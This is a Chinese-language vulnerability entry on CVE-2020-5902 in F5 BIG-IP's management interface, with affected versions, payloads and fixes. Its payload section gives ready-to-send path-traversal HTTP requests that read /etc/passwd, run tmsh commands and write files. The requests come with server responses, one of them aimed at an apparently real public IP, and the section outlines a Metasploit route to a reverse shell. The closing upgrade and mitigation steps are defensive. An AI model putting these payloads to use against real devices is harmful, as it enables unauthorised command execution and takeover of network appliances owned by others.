2020-07-01 F5 BIG-IP 远程代码执行¶
0x01时间线¶
- 2020-07-01 F5发布公告,其流量管理用户接口(Traffic Management User Interface ,简称TMUI),也称为配置实用程序(Configuration utility)。该系统存在一处RCE漏洞。CVE编号为CVE-2020-5902。
0x02编号¶
- CVE-2020-5902
0x03危害¶
远程命令执行
0x04风险等级¶
高
0x05概述¶
未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。
0x06影响版本¶
- BIG-IP 15.x: 15.1.0/15.0.0
- BIG-IP 14.x: 14.1.0 ~ 14.1.2
- BIG-IP 13.x: 13.1.0 ~ 13.1.3
- BIG-IP 12.x: 12.1.0 ~ 12.1.5
- BIG-IP 11.x: 11.6.1 ~ 11.6.5
0x07识别¶
0x08POC¶
0x09Payload¶
0x0901读文件¶
Example:
/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
0x0902远程命令执行¶
Example:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
`list auth user` look all user
`list auth user admin` only look admin user
https://devcentral.f5.com/s/question/0D51T00006i7hq9/tmsh-command-to-list-all-users-in-all-partitions
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
0x0903上传文件¶
Example:/tmui/locallb/workspace/fileSave.jsp
POST: fileName=/tmp/1.txt&content=CVE-2020-5902
Burpsuite Requests¶
POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
fileName=/tmp/1.txt&content=CVE-2020-5902
HTTP/1.1 200 OK
Date: Mon, 06 Jul 2020 02:05:29 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=x; Path=/tmui; Secure; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data: http://127.4.1.1 http://127.4.2.1
Vary: Accept-Encoding
Content-Length: 4
Connection: close
File Read /tmp/1.txt¶
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/1.txt HTTP/1.1
Host: 74.115.70.72
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 06 Jul 2020 02:06:07 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=x; Path=/tmui; Secure; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data: http://127.4.1.1 http://127.4.2.1
Vary: Accept-Encoding
Content-Length: 32
Connection: close
{"output":"CVE-2020-5902\n"}
upload /tmp/1.txt Successful !¶
0x0904MSF¶
1. list=bash
2. generate unix command to upload /tmp/xxxxx
3. execute command /tmp/xxxxx
4. reverse shell
0x10修复¶
0x1001通用修补建议:¶
升级到以下版本
- BIG-IP 15.x: 15.1.0.4
- BIG-IP 14.x: 14.1.2.6
- BIG-IP 13.x: 13.1.3.4
- BIG-IP 12.x: 12.1.5.2
- BIG-IP 11.x: 11.6.5.2
0x1002临时修补建议:¶
官方建议可以通过以下步骤临时缓解影响
1) 使用以下命令登录对应系统
tmsh
2) 编辑 httpd 组件的配置文件
edit /sys httpd all-properties
3) 文件内容如下
include ' <LocationMatch ".*\.\.;.*"> Redirect 404 / </LocationMatch> '
4) 按照如下操作保存文件
按下 ESC 并依次输入 :wq
5) 执行命令刷新配置文件
save /sys config
6) 重启 httpd 服务
restart sys service httpd
并禁止外部IP对 TMUI 页面的访问